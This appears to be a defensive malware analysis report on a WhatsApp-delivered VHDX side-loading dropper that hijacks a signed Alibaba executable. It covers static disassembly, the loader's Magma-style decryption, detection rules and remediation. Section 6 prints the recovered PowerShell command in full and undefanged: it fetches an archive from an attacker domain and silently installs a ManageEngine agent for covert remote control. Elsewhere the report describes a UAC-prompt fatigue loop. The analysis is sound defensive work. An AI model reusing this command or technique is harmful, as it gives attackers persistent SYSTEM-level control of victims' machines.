Malware Analysis Report — PDF_GC97CC VHDX Side-Loading Dropper

Handling note. Network indicators are defanged (hxxps, [.]). The live sample is not published on this page.

1. Executive summary

Verdict: Malicious, severity High. The sample is a ZIP → VHDX → DLL side-loading dropper. It hijacks a validly signed Alibaba executable to run a malicious DLL, wears the victim down with repeated UAC prompts until it gets admin rights, then silently installs a ManageEngine Endpoint Central (UEMS) agent that enrols to an attacker-controlled server.

The result is persistent, SYSTEM-level remote control of the host disguised as legitimate IT tooling: remote shell, remote desktop, file transfer and software deployment. Antivirus tools rarely flag the final payload because the RMM software itself is legitimate.

Source of the sample. The author previously worked part-time at a company and, without any prior contact or context, received this ZIP over WhatsApp from a contact linked to that company. Whether the sender's account was compromised or impersonated was not determined. The message asked for the "report" to be forwarded to the company's finance manager and opened on a computer.

Figure 1. Delivery message. The 277 kB shown matches the archive's 284,092 bytes (277.4 KiB). The wording is pure social engineering: it names a "report", creates urgency through a finance manager, and insists on a computer because the payload only runs on Windows.

Key actions:

• Block tttkkkssww[.]com at DNS and proxy.
• Hunt for UEMSAgent.msi installs from %PUBLIC%\Documents\pd* and for Endpoint Central agents your IT team didn't deploy.
• Block mounting of .vhd/.vhdx/.iso files for standard users.

2. Sample overview

The archive holds one VHDX virtual disk. That disk holds one 33 MB NTFS partition with two meaningful files: the signed host EXE and the malicious DLL, which has the Hidden attribute set.

PE metadata

The DLL's compile time (10:03 UTC) matches the ZIP entry's local timestamp (18:03), which suggests a UTC+8 build environment. The NTFS timestamps inside the VHDX (2026-09-21) predate the DLL's compile time, so the disk image was either reused as a template or its timestamps were altered.

3. Methodology

Analysis was entirely static on an isolated Linux host. Nothing in the sample was executed or mounted on Windows, and no attacker infrastructure was contacted.

1. Hashed and listed the ZIP (sha256sum, zipinfo).
2. Converted the VHDX to a raw image (qemu-img convert -O raw) and read the partition table (mmls).
3. Walked the NTFS volume with The Sleuth Kit: fsstat, fls -r -d for deleted entries, istat for attributes and alternate data streams, icat to extract files, and blkls to check unallocated space. Cross-checked with 7z l.
4. Parsed PE headers, imports, exports, version info and debug data (pefile). Verified the EXE's Authenticode signature (osslsigncode verify).
5. Disassembled the DLL's entire .text section (Capstone, about 580 instructions) and annotated every API call.
6. Re-implemented the DLL's decryption routine in Python with the embedded key, S-box and key schedule to recover the encrypted command.
7. Checked the remaining high-entropy regions for hidden payloads by trial decryption at all 8 block offsets and by cross-referencing code.
8. Ran passive OSINT on the domain and filenames (web search only).

4. Infection chain

The victim has to do two things: run the EXE from the mounted drive and approve one UAC prompt. Everything after that is automatic and invisible.

Figure 2. Infection chain.

If the EXE starts without admin rights, the DLL relaunches it with the runas verb. When the victim approves, the elevated copy loads the DLL again and takes the yes branch. Mounting the VHDX alone does nothing: the volume has no autorun, shortcut or script.

5. Technical analysis of ARPHADUMP.DLL

The DLL is a small, single-purpose loader. All malicious logic runs in one worker thread started from DllMain, and the exports exist only to satisfy the host's imports and keep it alive.

5.1 DllMain (0x69DC17A3)

• Sums 0x846 bytes of the block at 0x69DC24A0 into the global at 0x69DC4004. Nothing reads that global, so this is dead code that only touches high-entropy filler.
• On DLL_PROCESS_ATTACH it calls DisableThreadLibraryCalls, creates a manual-reset event (stored at 0x69DC4008), and starts the worker thread at 0x69DC1744 with CreateThread.

5.2 Exports

All 8 exports point to the same stub (0x69DC1719), which calls WaitForSingleObject(event, INFINITE) and returns 0: GetArphaApp, GetArphaCrashDump, GetArphaCrashReport, GetArphaJamDump, GetArphaService, GetArphaUtils, SSOLUIControlStartEngine, SetWindowLocalDump.

The host's first call into any of them blocks until the worker finishes. That keeps the signed process alive while the payload runs and avoids the crash a missing function would cause.

5.3 Worker thread (0x69DC1744 → 0x69DC15F4)

1. CoInitializeEx(NULL, COINIT_APARTMENTTHREADED) (needed by ShellExecuteExW), then Sleep(300).
2. Run-once guard: lock cmpxchg on the flag at 0x69DC4000.
3. Copies 0x460 (1,120) bytes of ciphertext from 0x69DC2020 to the stack and decrypts it in place (5.4).
4. Enables SeDebugPrivilege: OpenProcessToken(TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY) → LookupPrivilegeValueW → AdjustTokenPrivileges(SE_PRIVILEGE_ENABLED). The payload never uses it.
5. Loops up to 30 times:
   • GetTokenInformation(TokenElevation). If elevated, it builds cmd.exe /c plus the plaintext and calls CreateProcessA with CREATE_NO_WINDOW (0x08000000) and SW_HIDE, then exits the loop.
   • If not elevated, GetModuleFileNameW(NULL) returns the host EXE's own path. It relaunches that EXE with ShellExecuteExW, verb runas, which shows a UAC prompt. If the victim approves, the worker returns and the elevated copy repeats the chain with admin rights.
   • If the victim declines, it waits 600 ms and prompts again, so the victim sees up to 30 UAC prompts in a row.
6. Signals the event so the blocked export returns, then calls CoUninitialize.

5.4 String encryption

The command is encrypted with a GOST 28147-89 (Magma)-style 64-bit Feistel cipher in ECB mode:

• 32 rounds; round function = 32-bit add with the round key, an 8 × 4-bit S-box substitution (table at 0x69DC2D00), then rotate left 11 bits.
• 256-bit key at 0x69DC2000: 09fae7156b8a47ca7d665d69da9132778bae402de3b908e56a7a4fc456fa321d.
• Key schedule table at 0x69DC2D80 (K0–K7 × 3, then K7–K0), applied in reverse for decryption.

Only the command is encrypted. SeDebugPrivilege, cmd.exe /c and runas sit in .rdata as plain strings.

5.5 Anti-analysis filler

Trial decryption of both regions with the embedded key at all 8 block alignments produced no readable content or PE headers. Both are random filler that changes the file hash and inflates entropy to disrupt signature and ML-based detection.

6. Decrypted payload

The decrypted command is a hidden PowerShell one-liner. It downloads a ZIP from attacker infrastructure and silently installs a ManageEngine Endpoint Central agent that enrols to the attacker's server. Each stage has three fallbacks so it still works when a given method is blocked.

Plaintext as recovered (prefixed with cmd.exe /c at runtime):

powershell -NoProfile -WindowStyle Hidden -Command "$p=Join-Path $env:PUBLIC ('Documents\pd'+[string](Get-Random)); md $p -Force|Out-Null; cd $p; try{[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12}catch{}; try{(New-Object Net.WebClient).DownloadFile('https://tttkkkssww.com/olaaaa/ksf.zip','kouren.zip')}catch{}; if(!(Test-Path kouren.zip)){try{curl.exe -sk -L -o kouren.zip 'https://tttkkkssww.com/olaaaa/ksf.zip'}catch{}}; if(!(Test-Path kouren.zip)){try{Start-BitsTransfer -Source 'https://tttkkkssww.com/olaaaa/ksf.zip' -Destination 'kouren.zip'}catch{}}; try{Expand-Archive kouren.zip -DestinationPath . -Force}catch{}; if(!(Test-Path UEMSAgent.msi)){try{tar.exe -xf kouren.zip}catch{}}; if(!(Test-Path UEMSAgent.msi)){try{$sh=New-Object -ComObject Shell.Application;$sh.NameSpace((Get-Location).Path).CopyHere($sh.NameSpace((Resolve-Path kouren.zip).Path).Items(),16);Start-Sleep -s 3}catch{}}; msiexec /i UEMSAgent.msi /qn TRANSFORMS=\"UEMSAgent.mst\" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT=\"DMRootCA-Server.crt\" DS_ROOT_CRT=\"DMRootCA.crt\""

Second stage: ManageEngine UEMS agent

The msiexec arguments match ManageEngine Endpoint Central's documented silent agent install. UEMSAgent.mst carries the server address and enrolment settings. DMRootCA.crt and DMRootCA-Server.crt are the server's root certificates, which the installer adds to the trusted root store.

Once installed, the agent runs as a SYSTEM service and gives the attacker's Endpoint Central console:

• remote command execution and a remote shell
• remote desktop
• file transfer
• software and script deployment
• inventory of the host

All of this traffic looks like legitimate RMM activity, which is why attackers increasingly choose commercial RMM agents over custom implants.

ksf.zip was not retrieved, so the attacker's server address (inside UEMSAgent.mst) is unknown. The analysis environment cannot reach the domain, and live attacker infrastructure was deliberately not contacted.

7. MITRE ATT&CK mapping

8. Indicators of compromise

9. Detection

The most durable detections target behaviour rather than hashes: the side-load, the staging path and the unsanctioned RMM install. The YARA rule below keys on the embedded cipher key and the loader's distinctive strings. The YARA rule was tested against the sample: it matches the DLL on all 7 strings and does not match the legitimate EXE. The Sigma and KQL rules have not been tested against production data; tune them before deploying.

YARA

rule MAL_ArphaDump_Sideload_RMM_Dropper_Oct26
{
    meta:
        description = "Fake arphaDump.dll loader that decrypts and runs a UEMS agent installer"
        author      = "w_11"
        date        = "2026-10-02"
        hash        = "8c1d7323b31202f0c38bd906a147cdf9b231f62e33cf7348bb1ba27164246b4a"
    strings:
        $key    = { 09 FA E7 15 6B 8A 47 CA 7D 66 5D 69 DA 91 32 77 8B AE 40 2D E3 B9 08 E5 6A 7A 4F C4 56 FA 32 1D }
        $exp1   = "SSOLUIControlStartEngine" ascii
        $exp2   = "GetArphaCrashReport" ascii
        $exp3   = "SetWindowLocalDump" ascii
        $cmd    = "cmd.exe /c " ascii
        $runas  = "runas" wide
        $priv   = "SeDebugPrivilege" wide
    condition:
        uint16(0) == 0x5A4D and filesize < 200KB and
        ( $key or ( 2 of ($exp*) and $cmd and $runas and $priv ) )
}

Sigma: arphaDump.dll loaded from an unexpected path

title: arphaDump.dll Side-Load Outside Vendor Path
status: experimental
logsource:
  product: windows
  category: image_load
detection:
  selection:
    ImageLoaded|endswith:
      - '\arphaDump.dll'
      - '\arphaDump64.dll'
  filter_legit:
    ImageLoaded|contains:
      - '\Program Files\'
      - '\Program Files (x86)\'
  condition: selection and not filter_legit
level: high
tags:
  - attack.t1574.002

Sigma: UEMS agent installed from a public staging folder

title: Silent ManageEngine UEMS Agent Install From Public Documents
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\msiexec.exe'
    CommandLine|contains|all:
      - 'UEMSAgent.msi'
      - '/qn'
  path:
    CurrentDirectory|contains: '\Users\Public\Documents\pd'
  parent_ps:
    ParentImage|endswith: '\powershell.exe'
  condition: selection and (path or parent_ps)
level: high
tags:
  - attack.t1219
  - attack.t1218.007

Hunting queries (Microsoft Defender XDR KQL)

// PowerShell creating the pd<random> staging folder and pulling a ZIP
DeviceProcessEvents
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine has_all ("$env:PUBLIC", "Documents\\pd", "Get-Random")
   or ProcessCommandLine has "tttkkkssww"
 
// Endpoint Central agent installs not done by your IT deployment
DeviceProcessEvents
| where FileName =~ "msiexec.exe" and ProcessCommandLine has "UEMSAgent.msi"
| where InitiatingProcessFileName in~ ("powershell.exe","cmd.exe")
 
// Network: payload domain
DeviceNetworkEvents
| where RemoteUrl has "tttkkkssww.com"

Also review DNS logs for tttkkkssww.com, BITS client logs (Microsoft-Windows-Bits-Client/Operational, event 3/59/60) for the URL, and EDR telemetry for virtual-disk mounts (Microsoft-Windows-VHDMP-Operational, event 1) followed by process starts from the new drive letter.

10. Remediation and response

Containment (any host that ran the EXE)

• Isolate the host from the network.
• Block tttkkkssww[.]com at DNS, proxy and firewall.
• Block outbound traffic to Endpoint Central servers your organisation does not own.

Eradication

• Identify the rogue agent's server from UEMSAgent.mst or the agent's config before removing it, and add that server to the block list.
• Uninstall the ManageEngine UEMS / Endpoint Central agent and confirm its services are gone.
• Remove DMRootCA and DMRootCA-Server certificates from the Local Machine trusted root store.
• Delete %PUBLIC%\Documents\pd* folders and the original ZIP/VHDX.
• Review what the attacker deployed through the agent (installed software, scheduled tasks, new services, new accounts), since the agent ran as SYSTEM.
• Reset credentials used on the host; rebuild it if any follow-on activity is found.

Prevention

• Block auto-mounting of .vhd, .vhdx and .iso for standard users (remove the Windows Explorer "Mount" association or block via Group Policy / ASR).
• Make sure Windows is patched so Mark-of-the-Web propagates into mounted container files (Nov 2022 updates and later).
• Block or quarantine ZIPs containing .vhd/.vhdx/.iso at the email gateway.
• Allow-list approved RMM tools and alert on any other RMM agent install (Endpoint Central, AnyDesk, ScreenConnect and similar).
• Use WDAC or AppLocker to stop executables running from removable and virtual drives.
• Train users that repeated UAC prompts from an unknown program are a warning sign, not something to approve.

11. Limitations and analyst notes

• Family identification. Custom loader, no family match (confidence: medium). Basis: no public hits for the domain, filenames or embedded key at the time of writing.
• Second stage not analysed. ksf.zip was not retrieved, so the attacker's Endpoint Central server, the MSI version and any extra files in the archive are unknown.
• Static analysis only. The behaviour above comes from full disassembly and emulated decryption, not from a sandbox run. The code is small and linear, with no branches left unexplained.
• Attribution. No overlap with a named family or actor was found. A public search for the domain returned no results. The UTC+8 timestamp is weak evidence and could be deliberate.
• Signer of the host EXE. The Alibaba-branded binary is signed by a Guangzhou company rather than Alibaba itself. The signature is cryptographically valid; whether that company legitimately redistributes arphasdk was not checked.
• Mounting alone is safe. The volume has no autorun, shortcut or script, so infection requires the victim to run the EXE.

Appendix A: Payload decryptor

Reproduces the recovery of the command from the DLL. Requires pip install pefile.

#!/usr/bin/env python3
"""Decrypt the embedded command from the malicious arphaDump.dll (static, no execution)."""
import struct, sys
import pefile
 
KEY_RVA, CT_RVA, CT_LEN = 0x2000, 0x2020, 0x460   # 256-bit key, ciphertext, length
SBOX_RVA, SCHED_RVA     = 0x2D00, 0x2D80          # 8x16 S-box, 32-entry key schedule
M = 0xFFFFFFFF
 
def main(path):
    pe = pefile.PE(path)
    K     = struct.unpack('<8I', pe.get_data(KEY_RVA, 32))
    sbox  = pe.get_data(SBOX_RVA, 128)
    sched = struct.unpack('<32I', pe.get_data(SCHED_RVA, 128))
    buf   = bytearray(pe.get_data(CT_RVA, CT_LEN))
 
    def f(x):  # round function: S-box substitution then rotate left 11
        s = 0
        for i in range(8):
            s |= sbox[i * 16 + ((x >> (4 * i)) & 0xF)] << (4 * i)
        return ((s << 11) | (s >> 21)) & M
 
    for off in range(0, CT_LEN - 7, 8):            # ECB, 64-bit blocks
        a, b = struct.unpack_from('<II', buf, off)
        for i in range(31, -1, -1):                # schedule applied in reverse = decrypt
            a, b = b, a ^ f((b + K[sched[i]]) & M)
        struct.pack_into('<II', buf, off, a, b)
 
    print(bytes(buf).split(b'\x00')[0].decode('ascii', 'replace'))
 
if __name__ == '__main__':
    main(sys.argv[1] if len(sys.argv) > 1 else 'ARPHADUMP.DLL')

Appendix B: Analysis environment

References

• Nextron Valhalla: Potential ArphaDump64.DLL Sideloading (Sigma) (opens in a new tab)
• MITRE ATT&CK T1574.002: DLL Side-Loading (opens in a new tab)
• MITRE ATT&CK T1219: Remote Access Software (opens in a new tab)
• MITRE ATT&CK T1553.005: Mark-of-the-Web Bypass (opens in a new tab)
• MITRE ATT&CK T1566.003: Spearphishing via Service (opens in a new tab)
• Lenny Zeltser: Malware Analysis Report Template (opens in a new tab)